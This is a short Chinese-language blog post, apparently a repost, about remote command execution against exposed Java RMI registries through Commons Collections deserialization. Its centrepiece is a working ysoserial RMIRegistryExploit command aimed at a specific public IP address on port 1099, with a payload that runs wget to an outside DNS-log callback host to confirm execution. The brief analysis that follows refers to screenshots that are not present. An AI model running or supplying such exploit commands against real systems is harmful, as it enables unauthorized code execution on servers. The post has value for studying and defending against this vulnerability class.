Java RMI服務遠端命令執行利用
阿新 • • 發佈:2019-01-25
--------------------------------------------------------------
很長時間沒更新部落格了,今天來一發。
--------------------------------------------------------------
0x00 介紹 Java RMI服務是遠端方法呼叫(Remote Method Invocation)。它是一種機制,能夠讓在某個java虛擬機器上的物件呼叫另一個Java虛擬機器的物件的方法。 在Java Web中,很多地方都會用到RMI來相互呼叫。比如很多大型組織都會在後臺部署一些Java應用,用於對外網站釋出更新的靜態頁面,而這種釋出命令的下達使用的就是這種RMI形式。 值得注意的是,RMI傳輸過程必然會使用序列化和反序列化,如果RMI服務端埠對外開發,並且服務端使用了像Apache Commons Collections這種庫,那麼會導致遠端命令執行。 首先來看利用。 0x01 漏洞利用java -cp ysoserial-0.0.3-all.jar ysoserial.exploit.RMIRegistryExploit 43.224.227.176 1099 CommonsCollections1 "wget http://ddabcc.dnslog.info?hello"
雖然看到丟擲異常了,但是我們的命令已經執行了,檢視cloudeye:
0x02 簡單的分析 注意到漏洞利用中的命令列裡出現了ysoserial.exploit.RMIRegistryExploit,我就手賤去看了一下原始碼,exp的邏輯很清晰,我加了些批註,如下圖: